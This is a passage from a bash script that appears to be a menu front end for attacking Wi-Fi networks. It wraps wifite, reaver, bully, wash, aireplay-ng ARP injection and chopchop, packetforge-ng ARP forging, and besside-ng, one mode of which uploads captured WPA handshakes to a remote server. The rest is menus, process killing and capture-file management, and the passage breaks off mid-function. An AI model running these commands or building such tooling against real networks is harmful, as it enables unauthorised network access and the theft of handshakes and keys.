  3703. aircrackDecryptWPS(){
  3704. # NOT ACTUALLY USED FOR WPS ATTACK
  3705. currentTask="aircrackDecryptWPS"
  3706. blank=""
  3707. }
  3708. reaverSaveCurrentSessionFile(){
  3709. currentTask="reaverSaveCurrentSessionFile"
  3710. # Use current session path and bssid to build variable
  3711. reaverCurrentSessionFile="../../$reaverSessionPath/$bssidCharOnly.wpc"
  3712. # Check BSSID and only continue if not blank
  3713. if [ "$bssidCharOnly" != "" ];then
  3714. # Check to see if reaver session file exists
  3715. if [ -e $reaverCurrentSessionFile ];then
  3716. # Copy reaver session file to current WPS sessions directory
  3717. cp "$reaverCurrentSessionFile" "$capturePathWPS"
  3718. fi
  3719. fi
  3720. }
  3721. reaverSaveAllSessionFiles(){
  3722. currentTask="reaverSaveCurrentSessionFile"
  3723. # Check BSSID and only continue if not blank
  3724. if [ "$bssidCharOnly" != "" ];then
  3725. cp "../../$reaverSessionPath/*.wpc" "$capturePathWPS"
  3726. fi
  3727. }
  3728. menuBullyMain() {
  3729. currentTask="menuBullyMain"
  3730. banner
  3731. echo ""
  3732. echo "Bully WPS Attack Menu"
  3733. echo ""
  3734. echo ""
  3735. echo ""
  3736. echo ""
  3737. echo "Choose an option and press ENTER:"
  3738. echo ""
  3739. echo ""
  3740. echo ""
  3741. echo ""
  3742. echo ""
  3743. echo ""
  3744. echo ""
  3745. echo ""
  3746. echo ""
  3747. echo ""
  3748. echo ""
  3749. echo ""
  3750. echo ""
  3751. read pause
  3752. }
  3753. menuWashMain() {
  3754. #currentTask="menuWashMain"
  3755. banner
  3756. echo ""
  3757. echo "WPS Wash Menu"
  3758. echo ""
  3759. echo ""
  3760. echo ""
  3761. echo ""
  3762. echo "Choose an option and press ENTER:"
  3763. echo ""
  3764. echo ""
  3765. echo ""
  3766. echo "1) Use Defaults"
  3767. echo ""
  3768. echo "2) Enter Channel Number"
  3769. echo ""
  3770. echo "3) Toggle Scan Mode"
  3771. echo ""
  3772. echo "4) Use 5GHz Band"
  3773. echo ""
  3774. echo "5) Do Not Ignore Frame Checksum Errors"
  3775. echo ""
  3776. echo ""
  3777. echo ""
  3778. echo ""
  3779. echo "R) Return To Previous Page"
  3780. echo ""
  3781. echo ""
  3782. read washOption
  3783. case "$washOption" in
  3784. "1")
  3785. wash -i $interfaceMonitor -o "$washFile" -C
  3786. ;;
  3787. "2")
  3788. wash -i $interfaceMonitor -o "$washFile" -C -c $washChannel
  3789. ;;
  3790. "3")
  3791. wash -i $interfaceMonitor -o "$washFile" -C -s
  3792. ;;
  3793. "4")
  3794. wash -i $interfaceMonitor -o "$washFile" -C -5
  3795. ;;
  3796. "5")
  3797. wash -i $interfaceMonitor -o "$washFile"
  3798. ;;
  3799. "6")
  3800. currentTask
  3801. ;;
  3802. esac
  3803. }
  3804. ############################################################################
  3805. # ATTACKS: WPS END #####################################################
  3806. ############################################################################
  3807. ############################################################################
  3808. # ATTACKS: UNIVERSAL BEGIN #############################################
  3809. ############################################################################
  3810. menuAttacksAllWifiteAuto(){
  3811. currentTask="menuAttacksAllWifiteAuto"
  3812. lastMenuID="menuAttacksAllWifiteAuto"
  3813. killAll
  3814. $terminal $wifiteAttackAll &
  3815. banner
  3816. bannerStats
  3817. echo ""
  3818. echo "The wifite session should be launched in a separate window."
  3819. echo ""
  3820. echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
  3821. echo ""
  3822. echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
  3823. echo ""
  3824. read pause
  3825. killAll
  3826. menuMain
  3827. }
  3828. generateArpPacket(){
  3829. currentTask="generateArpPacket"
  3830. $terminal aireplay-ng -4 $interfaceMonitor &
  3831. # Alt
  3832. $terminal aireplay-ng -4 -h $macAddressMonitor $interfaceMonitor &
  3833. }
  3834. tcpDump(){
  3835. currentTask="tcpDump"
  3836. # Accepts a CAP file as INPUT
  3837. $terminal tcpdump -s 0 -n -e -r $1 &
  3838. }
  3839. forgeArpRequest(){
  3840. currentTask="forgeArpRequest"
  3841. # Accepts an XOR file as INPUT
  3842. #packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w "$initPath/$bssid-arp.cap" &
  3843. # Accepts an XOR file as INPUT and a CAP file as OUTPUT
  3844. packetforge-ng -0 -a $bssid -h $macAddressMonitor -k 192.168.1.2 -l 192.168.1.100 -y $1 -w $2 &
  3845. }
  3846. replayArpRequest(){
  3847. currentTask="replayArpRequest"
  3848. aireplay-ng -2 -r "$initPath/$bssid-arp.cap" $interfaceMonitor &
  3849. # Accepts a CAP file as INPUT
  3850. #aireplay-ng -2 -r $1 $interfaceMonitor &
  3851. }
  3852. ############################################################################
  3853. # ATTACKS: UNIVERSAL END ###############################################
  3854. ############################################################################
  3855. ############################################################################
  3856. # BESSIDE-NG STUFF BEGIN ###############################################
  3857. ############################################################################
  3858. bessideMain(){
  3859. currentTask="bessideMain"
  3860. banner
  3861. bannerStats
  3862. echo ""
  3863. echo "Select a mode and press ENTER:"
  3864. echo ""
  3865. echo ""
  3866. echo "1) Normal"
  3867. echo ""
  3868. echo "2) WPA Only"
  3869. echo ""
  3870. echo "3) Upload"
  3871. echo ""
  3872. echo "4) Set Flood Rate"
  3873. echo ""
  3874. echo "5) Return To Previous Menu"
  3875. echo ""
  3876. echo ""
  3877. read getBessideMode
  3878. hotkeyInput="$getBessideMode"
  3879. loadMenuHotkeys "$hotkeyInput"
  3880. case "$getBessideMode" in
  3881. "")
  3882. bessideMain
  3883. ;;
  3884. "1")
  3885. bessideNormal
  3886. ;;
  3887. "2")
  3888. bessideWPAOnly
  3889. ;;
  3890. "3")
  3891. bessideUpload
  3892. ;;
  3893. "4")
  3894. bessideSetFloodRate
  3895. ;;
  3896. "5")
  3897. $lastMenuID
  3898. ;;
  3899. *)
  3900. bessideMain
  3901. ;;
  3902. esac
  3903. }
  3904. bessideNormal(){
  3905. currentTask="bessideNormal"
  3906. $terminal besside-ng -b $bssid -c $channel -vv $interfaceMonitor
  3907. }
  3908. bessideUpload(){
  3909. currentTask="bessideUpload"
  3910. $terminal besside-ng -b $bssid -c $channel -s $serverWPA -vv $interfaceMonitor
  3911. }
  3912. bessideWPAOnly(){
  3913. currentTask="bessideWPAOnly"
  3914. $terminal besside-ng -b $bssid -c $channel -W -vv $interfaceMonitor
  3915. }
  3916. bessideSetFloodRate(){
  3917. currentTask="bessideSetFloodRate"
  3918. bessideFloodRate=""
  3919. }
  3920. ############################################################################
  3921. # BESSIDE-NG STUFF END #################################################
  3922. ############################################################################
  3923. ############################################################################
  3924. # POST EXPLOITATION BEGIN ##############################################
  3925. ############################################################################
  3926. ############################################################################
  3927. # POST EXPLOITATION END ################################################
  3928. ############################################################################
  3929. ############################################################################
  3930. # PROCESS MANAGEMENT BEGIN #############################################
  3931. ############################################################################
  3932. killProcesses(){
  3933. currentTask="killProcesses"
  3934. killall NetworkManager
  3935. killall NetworkManagerDispatcher
  3936. #killall wpa_supplicant
  3937. #killall avahi-daemon
  3938. }
  3939. restartProcesses(){
  3940. currentTask="restartProcesses"
  3941. #killall NetworkManager
  3942. NetworkManager
  3943. #killall NetworkManagerDispatcher
  3944. NetworkManagerDispatcher
  3945. #wpa_supplicant
  3946. #avahi-daemon
  3947. }
  3948. killWifite(){
  3949. currentTask="killWifite"
  3950. findWifitePID=$(ps -A | grep "wifite" | head -c5)
  3951. case "$findWifitePID" in
  3952. "")
  3953. # No Process Found
  3954. ;;
  3955. *)
  3956. killWifiteTemp=$(kill $findWifitePID)
  3957. ;;
  3958. esac
  3959. }
  3960. killAirodump(){
  3961. currentTask="killAirodump"
  3962. findAirodumpPID=$(ps -A | grep "airodump-ng" | head -c5)
  3963. case "$findAirodumpPID" in
  3964. "")
  3965. # No Process Found
  3966. ;;
  3967. *)
  3968. killAirodumpTemp=$(kill $findAirodumpPID)
  3969. #killAirodumpTemp=$(killall airodump-ng)
  3970. ;;
  3971. esac
  3972. }
  3973. killAireplay(){
  3974. currentTask="killAireplay"
  3975. findAireplayPID=$(ps -A | grep "aireplay-ng" | head -c5)
  3976. case "$findAireplayPID" in
  3977. "")
  3978. # No Process Found
  3979. ;;
  3980. *)
  3981. killAireplayTemp=$(kill $findAireplayPID)
  3982. ;;
  3983. esac
  3984. }
  3985. killAircrack(){
  3986. currentTask="killAircrack"
  3987. findAircrackPID=$(ps -A | grep "aircrack-ng" | head -c5)
  3988. case "$findAircrackPID" in
  3989. "")
  3990. # No Process Found
  3991. ;;
  3992. *)
  3993. killAircrackTemp=$(kill $findAircrackPID)
  3994. ;;
  3995. esac
  3996. }
  3997. killWash(){
  3998. currentTask="killWash"
  3999. findWashPID=$(ps -A | grep "wash" | head -c5)
  4000. case "$findWashPID" in
  4001. "")
  4002. # No Process Found
  4003. ;;
  4004. *)
  4005. killAircrackTemp=$(kill $findWashPID)
  4006. ;;
  4007. esac
  4008. }
  4009. killAll(){
  4010. killAirodump
  4011. killAireplay
  4012. killAircrack
  4013. killWash
  4014. killWifite
  4015. }
  4016. ############################################################################
  4017. # PROCESS MANAGEMENT END ###############################################
  4018. ############################################################################
  4019. ############################################################################
  4020. # SESSIONS STUFF BEGIN #################################################
  4021. ############################################################################
  4022. cleanSessionFiles(){
  4023. currentTask="cleanSessionFiles"
  4024. banner
  4025. echo ""
  4026. $red
  4027. echo "*** THIS WILL ERASE ALL CURRENT SESSION FILES!!!"
  4028. $white
  4029. echo ""
  4030. echo ""
  4031. echo "If you would like to create a backup before doing this, press B and ENTER"
  4032. echo ""
  4033. echo ""
  4034. echo "If you would like to CANCEL, press C and ENTER"
  4035. echo ""
  4036. echo ""
  4037. echo ""
  4038. echo ""
  4039. $cyan
  4040. echo "Automatically Continuing In 10 Seconds"
  4041. $white
  4042. echo ""
  4043. echo ""
  4044. read -t 10 eraseSessionConfirm
  4045. case "$eraseSessionConfirm" in
  4046. "")
  4047. banner
  4048. echo ""
  4049. echo "Cleaning Session Files...."
  4050. echo ""
  4051. echo ""
  4052. #rm "$capturePath/wep/wep.sessions"
  4053. #rm "$capturePath/wps/wps.sessions"
  4054. #rm "$capturePath/wpa/wpa.sessions"
  4055. #rm "$capturePath/wpa2/wpa2.sessions"
  4056. rm -r "$capturePath"
  4057. sleep 1
  4058. mkdir "$capturePath"
  4059. banner
  4060. echo ""
  4061. echo "Cleaning Session Files...."
  4062. echo ""
  4063. echo ""
  4064. ;;
  4065. "c" | "C")
  4066. menuExtras
  4067. ;;
  4068. "b" | "B")
  4069. backupFromSessionErase="1"
  4070. backupSessionFiles
  4071. ;;
  4072. *)
  4073. cleanSessionFiles
  4074. ;;
  4075. esac
  4076. }
  4077. backupSessionFiles(){
  4078. currentTask="backupSessionFiles"
  4079. backupName="sessions-backup-$displayDate3"
  4080. backupDir="sessions"
  4081. #nextBackupSlot=0
  4082. if [ -f "$backupName.zip" ]; then
  4083. nextBackupSlot=$((nextBackupSlot+1))
  4084. backupName="$backupName-$nextBackupSlot"
  4085. fi
  4086. #echo "$backupName"
  4087. #echo "$nextBackupSlot"
  4088. #read pause
  4089. banner
  4090. echo ""
  4091. echo "Backing Up Session Files To:"
  4092. echo ""
  4093. $cyan
  4094. echo "$backupName...."
  4095. $white
  4096. echo ""
  4097. echo ""
  4098. case "$backupFromCaptureErase" in
  4099. "1")
  4100. sessionCopyNewCaptureFiles
  4101. banner
  4102. echo ""
  4103. sleep 2
  4104. zip -9 -r $backupName $backupDir
  4105. sleep 1
  4106. cleanCaptureFiles
  4107. backupFromCaptureErase="0"
  4108. ;;
  4109. esac
  4110. case "$backupFromSessionErase" in
  4111. "0")
  4112. sleep 3
  4113. zip -9 -r $backupName $backupDir
  4114. ;;
  4115. "1")
  4116. sleep 2
  4117. zip -9 -r $backupName $backupDir
  4118. sleep 1
  4119. cleanSessionFiles
  4120. backupFromSessionErase="0"
  4121. ;;
  4122. esac
  4123. }
  4124. sessionWriteBeginNew(){
  4125. currentTask="sessionWriteBeginNew"
  4126. getCurrentDateAndTime
  4127. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4128. echo "***** Begin New Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4129. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4130. echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4131. echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4132. echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4133. echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4134. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4135. }
  4136. sessionWriteLoadPrevious(){
  4137. currentTask="sessionWriteLoadPrevious"
  4138. getCurrentDateAndTime
  4139. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4140. echo "***** Load Previous Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4141. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4142. echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4143. echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4144. echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4145. echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4146. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4147. }
  4148. sessionWriteEndCurrent(){
  4149. currentTask="sessionWriteEndCurrent"
  4150. getCurrentDateAndTime
  4151. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4152. echo "***** End Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4153. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4154. }
  4155. sessionRemoveEmpty(){
  4156. currentTask="sessionRemoveEmpty"
  4157. #banner
  4158. #echo ""
  4159. #echo "Removing Empty Sessions...."
  4160. #echo ""
  4161. #echo ""
  4162. rm "$capturePath/$encryptionType/empty.sessions"
  4163. rmdir "$capturePath/empty"
  4164. banner
  4165. echo ""
  4166. #echo "Removing Empty Sessions...."
  4167. #echo ""
  4168. #echo ""
  4169. }
  4170. sessionCreatePaths(){
  4171. getBSSIDCharOnly
  4172. mkdir "$capturePath"
  4173. mkdir "$capturePath/$encryptionType/"
  4174. }
  4175. sessionCopyNewCaptureFiles(){
  4176. cp *.cap "$capturePath/$encryptionType"
  4177. cp *.ivs "$capturePath/$encryptionType"
  4178. cp *.xor "$capturePath/$encryptionType"
  4179. cp *.csv "$capturePath/$encryptionType"
  4180. cp *.netxml "$capturePath/$encryptionType"
  4181. }
  4182. sessionSave(){
  4183. currentTask="sessionSave"
  4184. getCurrentDateAndTime
  4185. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4186. echo "***** Save Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4187. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4188. echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4189. echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4190. echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4191. echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4192. echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
  4193. }
  4194. sessionLoad(){
  4195. banner
  4196. bannerStats
  4197. currentTask="sessionLoad"
  4198. while read line
  4199. do
  4200. echo -e "$line \n"
  4201. done <"$capturePath/$encryptionType/$encryptionType.sessions"
  4202. echo ""
  4203. echo ""
  4204. echo ""
  4205. echo "Scroll up to see all loaded sessions."
  4206. echo ""
  4207. echo ""
  4208. echo ""
  4209. echo "Press ENTER to continue...."
  4210. echo ""
  4211. echo ""
  4212. read pause
  4213. }
  4214. cleanCaptureFiles(){
  4215. currentTask="cleanCaptureFiles"
  4216. banner
  4217. echo ""
  4218. $red
  4219. echo "*** THIS WILL ERASE ALL CURRENT CAPTURE FILES!!!"
  4220. $white
  4221. echo ""
  4222. echo ""
  4223. echo "If you would like to create a backup before doing this, press B and ENTER"
  4224. echo ""
  4225. echo ""
  4226. echo "If you would like to CANCEL, press C and ENTER"
  4227. echo ""
  4228. echo ""
  4229. echo ""
  4230. echo ""
  4231. echo "Files will be copied to the \"/sessions/\" directory and backed up to a ZIP file"
  4232. echo ""
  4233. echo ""
  4234. echo ""
  4235. echo ""
  4236. $cyan
  4237. echo "Automatically Continuing In 10 Seconds..."
  4238. $white
  4239. echo ""
  4240. echo ""
  4241. read -t 10 eraseCaptureConfirm
  4242. case "$eraseCaptureConfirm" in
  4243. "")
  4244. banner
  4245. echo ""
  4246. echo "Cleaning Capture Files...."
  4247. echo ""
  4248. echo ""
  4249. sleep 3
  4250. rm *.cap
  4251. rm *.ivs
  4252. rm *.xor
  4253. rm *.csv
  4254. rm *.netxml
  4255. ;;
  4256. "c" | "C")
  4257. menuExtras
  4258. ;;
  4259. "b" | "B")
  4260. backupFromCaptureErase="1"
  4261. backupSessionFiles
  4262. ;;
  4263. *)
  4264. cleanCaptureFiles
  4265. ;;
  4266. esac
  4267. }
  4268. findCaptureFiles(){
  4269. currentTask="findCaptureFiles"
  4270. listCap=$(ls | grep .cap)
  4271. listIvs=$(ls | grep .ivs)
  4272. listXor=$(ls | grep .xor)
  4273. listCsv=$(ls | grep .csv)
  4274. listNetXml=$(ls | grep .netxml)
  4275. }
  4276. ############################################################################
  4277. # SESSIONS STUFF END ###################################################
  4278. ############################################################################
  4279. ############################################################################
  4280. # EMPTY VARIABLE CHECKS BEGIN ##########################################
  4281. ############################################################################
  4282. checkForEmptyEncryptionType(){
  4283. currentTask="checkForEmptyEncryptionType"
  4284. if [ "$encryptionType" == "empty" ];then
  4285. banner
  4286. bannerStats
  4287. echo ""
  4288. echo "There is currently no Encryption Type selected!"
  4289. echo ""
  4290. echo ""
  4291. echo "Press ENTER to return to main menu...."
  4292. echo ""
  4293. echo ""
  4294. read pause
  4295. menuMain
  4296. fi
  4297. }
  4298. checkForEmptyCredentials(){
  4299. currentTask="checkForEmptyCredentials"
  4300. case "$1" in
  4301. "bssid")
  4302. if [ "$bssid" == "" ];then
  4303. banner
  4304. bannerStats
  4305. echo ""
  4306. echo "There is currently no BSSID saved in the previous session!"
  4307. echo ""
  4308. echo ""
  4309. echo "Press ENTER to return to previous menu...."
  4310. echo ""
  4311. echo ""
  4312. read pause
  4313. $lastMenuID
  4314. fi
  4315. ;;
  4316. "essid")
  4317. if [ "$essid" == "" ];then
  4318. banner
  4319. bannerStats
  4320. echo ""
  4321. echo "There is currently no ESSID saved in the previous session!"
  4322. echo ""
  4323. echo ""
  4324. echo "Press ENTER to return to previous menu...."
  4325. echo ""
  4326. echo ""
  4327. read pause
  4328. fi
  4329. ;;
  4330. "channel")
  4331. if [ "$channel" == "" ];then
  4332. banner
  4333. bannerStats
  4334. echo ""
  4335. echo "There is currently no CHANNEL saved in the previous session!"
  4336. echo ""
  4337. echo ""
  4338. echo "Press ENTER to return to previous menu...."
  4339. echo ""
  4340. echo ""
  4341. read pause
  4342. $lastMenuID
  4343. fi
  4344. ;;
  4345. esac
  4346. }
  4347. ############################################################################
  4348. # EMPTY VARIABLE CHECKS END ############################################
  4349. ############################################################################
  4350. ############################################################################
  4351. # INTERFACE STUFF BEGIN ################################################
  4352. ############################################################################
  4353. checkInterfaceMode(){
  4354. currentTask="checkInterfaceMode"
  4355. interfaceModeCheck=$(iwconfig | grep "$interfaceMonitor" | head -c 5)
  4356. case "$interfaceModeCheck" in
  4357. "")
  4358. interfaceMode="0"
  4359. #break;
  4360. ;;
  4361. *)
  4362. interfaceMode="2"
  4363. #break;
  4364. ;;
  4365. esac
  4366. }
  4367. checkMultipleAdapters(){
  4368. currentTask="checkMultipleAdapters"
  4369. interfaceNumber="0"
  4370. interfaceNumberMax="99"
  4371. interfacesFound="0"
  4372. while [ $interfaceNumber -le $interfaceNumberMax ]
  4373. do
  4374. banner
  4375. $white
  4376. echo ""
  4377. echo "Checking WiFi Adapters...."
  4378. echo ""
  4379. echo ""
  4380. interfaceCheck=$(iwconfig | grep "wlan$interfaceNumber" | head -c 5)
  4381. interfaceMonitor="$interfaceCheck""mon"
  4382. interfaceName=$interfaceMonitor
  4383. case "$interfaceCheck" in
  4384. "")
  4385. interfaceNumber="99"
  4386. interfaceNumberMax="99"
  4387. break;
  4388. ;;
  4389. *)
  4390. #interface="$interfaceCheck"
  4391. interfaceNumber=$(($interfaceNumber+1))
  4392. interfacesFound=$(($interfacesFound+1))
  4393. ;;
  4394. esac
  4395. #echo "interfaceNumber: $interfaceNumber"
  4396. #echo "interfaceNumberMax: $interfaceNumberMax"
  4397. #echo "interfaceCheck: $interfaceCheck"
  4398. #echo "interfacesFound: $interfacesFound"
  4399. #read pause
  4400. done
  4401. }
  4402. getWirelessInterfaceNames(){
  4403. currentTask="getWirelessInterfaceNames"
  4404. #if [ ! -z "$showAdapterUsbAtherosAR9271" ]; then
  4405. # showAdapterOneName="$showAdapterUsbAtherosAR9271"
  4406. #fi
  4407. }
  4408. getWirelessInterfaces(){
  4409. currentTask="getWirelessInterfaces"
  4410. # Check for the "refresh" flag and DO NOT display text if enabled
  4411. # This is for the 2nd "getWirelessInterfaces" call for some forgotten reason :rolleyes: (Hides Text)
  4412. case "$1" in
  4413. # This is just splashing some text to wait out the 5 minute timeout....make it look useful!!
  4414. "refresh")
  4415. banner
  4416. echo ""
  4417. echo "Preparing $encryptionTypeText Attack...."
  4418. echo ""
  4419. ;;
  4420. *)
  4421. checkMultipleAdapters
  4422. banner
  4423. echo ""
  4424. $cyan
  4425. echo "To Change Adapter Settings, Press \"C\" Now"
  4426. $white
  4427. #echo ""
  4428. #$cyan
  4429. #echo "Current: $interface"
  4430. $white
  4431. echo ""
  4432. echo ""
  4433. echo "To Select Interface From Discovered, Choose From Below"
  4434. echo ""
  4435. $green
  4436. # If no adpaters found
  4437. if [ $interfacesFound -eq "0" ]; then
  4438. $red
  4439. echo "NO WIFI ADAPTER FOUND!!!"
  4440. $cyan
  4441. fi
  4442. # If only one device detected
  4443. if [ $interfacesFound -eq "1" ]; then
  4444. getWirelessInterfaceNames
  4445. echo "1) wlan0 ($showAdapterOneName)"
  4446. fi
  4447. if [ $interfacesFound -eq "2" ]; then
  4448. getWirelessInterfaceNames
  4449. echo "1) wlan0 ($showAdapterOneName)"
  4450. echo "2) wlan1 ($showAdapterTwoName)"
  4451. fi
  4452. if [ $interfacesFound -eq "3" ]; then
  4453. getWirelessInterfaceNames
  4454. echo "1) wlan0 ($showAdapterOneName)"
  4455. echo "2) wlan1 ($showAdapterTwoName)"
  4456. echo "3) wlan2 ($showAdapterThreeName)"
  4457. fi
  4458. if [ $interfacesFound -eq "4" ]; then
  4459. getWirelessInterfaceNames
  4460. echo "1) wlan0 ($showAdapterOneName)"
  4461. echo "2) wlan1 ($showAdapterTwoName)"
  4462. echo "3) wlan2 ($showAdapterThreeName)"
  4463. echo "4) wlan3 ($showAdapterFourName)"
  4464. fi
  4465. if [ $interfacesFound -eq "5" ]; then
  4466. getWirelessInterfaceNames
  4467. echo "1) wlan0 ($showAdapterOneName)"
  4468. echo "2) wlan1 ($showAdapterTwoName)"
  4469. echo "3) wlan2 ($showAdapterThreeName)"
  4470. echo "4) wlan3 ($showAdapterFourName)"
  4471. echo "5) wlan4 ($showAdapterFiveName)"
  4472. fi
  4473. if [ $interfacesFound -eq "6" ]; then
  4474. getWirelessInterfaceNames
  4475. echo "1) wlan0 ($showAdapterOneName)"
  4476. echo "2) wlan1 ($showAdapterTwoName)"
  4477. echo "3) wlan2 ($showAdapterThreeName)"
  4478. echo "4) wlan3 ($showAdapterFourName)"
  4479. echo "5) wlan4 ($showAdapterFiveName)"
  4480. echo "6) wlan5 ($showAdapterSixName)"
  4481. fi
  4482. if [ $interfacesFound -eq "7" ]; then
  4483. getWirelessInterfaceNames
  4484. echo "1) wlan0 ($showAdapterOneName)"
  4485. echo "2) wlan1 ($showAdapterTwoName)"
  4486. echo "3) wlan2 ($showAdapterThreeName)"
  4487. echo "4) wlan3 ($showAdapterFourName)"
  4488. echo "5) wlan4 ($showAdapterFiveName)"
  4489. echo "6) wlan5 ($showAdapterSixName)"
  4490. echo "7) wlan6 ($showAdapterSevenName)"
  4491. fi
  4492. if [ $interfacesFound -eq "8" ]; then
  4493. getWirelessInterfaceNames
  4494. echo "1) wlan0 ($showAdapterOneName)"
  4495. echo "2) wlan1 ($showAdapterTwoName)"
  4496. echo "3) wlan2 ($showAdapterThreeName)"
  4497. echo "4) wlan3 ($showAdapterFourName)"
  4498. echo "5) wlan4 ($showAdapterFiveName)"
  4499. echo "6) wlan5 ($showAdapterSixName)"
  4500. echo "7) wlan6 ($showAdapterSevenName)"
  4501. echo "8) wlan7 ($showAdapterEightName)"
  4502. fi
  4503. if [ $interfacesFound -eq "9" ]; then
  4504. getWirelessInterfaceNames
  4505. echo "1) wlan0 ($showAdapterOneName)"
  4506. echo "2) wlan1 ($showAdapterTwoName)"
  4507. echo "3) wlan2 ($showAdapterThreeName)"
  4508. echo "4) wlan3 ($showAdapterFourName)"
  4509. echo "5) wlan4 ($showAdapterFiveName)"
  4510. echo "6) wlan5 ($showAdapterSixName)"
  4511. echo "7) wlan6 ($showAdapterSevenName)"
  4512. echo "8) wlan7 ($showAdapterEightName)"
  4513. echo "9) wlan8 ($showAdapterNineName)"
  4514. fi
  4515. if [ $interfacesFound -eq "10" ]; then
  4516. getWirelessInterfaceNames
  4517. echo "1) wlan0 ($showAdapterOneName)"
  4518. echo "2) wlan1 ($showAdapterTwoName)"
  4519. echo "3) wlan2 ($showAdapterThreeName)"
  4520. echo "4) wlan3 ($showAdapterFourName)"
  4521. echo "5) wlan4 ($showAdapterFiveName)"
  4522. echo "6) wlan5 ($showAdapterSixName)"
  4523. echo "7) wlan6 ($showAdapterSevenName)"
  4524. echo "8) wlan7 ($showAdapterEightName)"
  4525. echo "9) wlan8 ($showAdapterNineName)"
  4526. echo "10) wlan9 ($showAdapterTenName)"
  4527. fi
  4528. $white
  4529. echo ""
  4530. echo ""
  4531. echo ""
  4532. echo "TO USE DEFAULTS, JUST PRESS ENTER!"
  4533. echo ""
  4534. echo ""
  4535. echo "Continuing In 10 Seconds...."
  4536. echo ""
  4537. echo ""
  4538. ;;
  4539. esac
  4540. read -t 10 manualInterface
  4541. hotkeyInput="$manualInterface"
  4542. loadMenuHotkeys "$hotkeyInput"
  4543. case "$manualInterface" in
  4544. "")
  4545. case "$isKaliTwo" in
  4546. "0")
  4547. interface=$(iwconfig | grep "wlan" | head -c 5)
  4548. #interfaceMonitor=$(iwconfig | grep "mon" | head -c 4)
  4549. interfaceMonitor="$interface""mon"
  4550. interfaceName=$interfaceMonitor
  4551. ;;
  4552. "1")
  4553. interface=$(iwconfig | grep "wlan" | head -c 5)
  4554. #interfaceMonitor=$(iwconfig | grep "wlan" | head -c 8)
  4555. interfaceMonitor="$interface""mon"
  4556. interfaceName=$interfaceMonitor
  4557. #fixKaliTwoMonError
  4558. ;;
  4559. esac
  4560. ;;
  4561. "1")
  4562. interface="wlan0"
  4563. interfaceMonitor="$interface""mon"
  4564. interfaceName="$interfaceMonitor"
  4565. ;;
  4566. "2")
  4567. interface="wlan1"
  4568. interfaceMonitor="$interface""mon"
  4569. interfaceName="$interfaceMonitor"
  4570. ;;
  4571. "3")
  4572. interface="wlan2"
  4573. interfaceMonitor="$interface""mon"
  4574. interfaceName="$interfaceMonitor"
  4575. ;;
  4576. "4")
  4577. interface="wlan3"
  4578. interfaceMonitor="$interface""mon"
  4579. interfaceName="$interfaceMonitor"
  4580. ;;
  4581. "5")
  4582. interface="wlan4"
  4583. interfaceMonitor="$interface""mon"
  4584. interfaceName="$interfaceMonitor"
  4585. ;;
  4586. "6")
  4587. interface="wlan5"
  4588. interfaceMonitor="$interface""mon"
  4589. interfaceName="$interfaceMonitor"
  4590. ;;
  4591. "7")
  4592. interface="wlan6"
  4593. interfaceMonitor="$interface""mon"
  4594. interfaceName="$interfaceMonitor"
  4595. ;;
  4596. "8")
  4597. interface="wlan7"
  4598. interfaceMonitor="$interface""mon"
  4599. interfaceName="$interfaceMonitor"
  4600. ;;
  4601. "9")
  4602. interface="wlan8"
  4603. interfaceMonitor="$interface""mon"
  4604. interfaceName="$interfaceMonitor"
  4605. ;;
  4606. "10")
  4607. interface="wlan9"
  4608. interfaceMonitor="$interface""mon"
  4609. interfaceName="$interfaceMonitor"
  4610. ;;
  4611. "C" | "c")
  4612. banner
  4613. echo ""
  4614. echo "Enter Managed Mode Interface Name and press ENTER:"
  4615. echo ""
  4616. echo ""
  4617. echo ""
  4618. echo "Example: wlan0"
  4619. echo ""
  4620. echo ""
  4621. echo ""
  4622. $cyan
  4623. echo "If Nothing Is Entered, Then Default Values Are Used"
  4624. $white
  4625. echo ""
  4626. echo ""
  4627. read manualSelectionManaged
  4628. case "$manualSelectionManaged" in
  4629. "")
  4630. interface=$(iwconfig | grep "wlan" | head -c 5)
  4631. manualSelectionManaged="$interface"
  4632. ;;
  4633. *)
  4634. interface="$manualSelectionManaged"
  4635. interfaceName="$interface$manualSelectionManaged"
  4636. ;;
  4637. esac
  4638. banner
  4639. echo ""
  4640. echo "Enter Monitor Mode Interface Name and press ENTER:"
  4641. echo ""
  4642. echo ""
  4643. echo ""
  4644. echo "Example: $manualSelectionManaged""mon"
  4645. echo ""
  4646. echo ""
  4647. echo ""
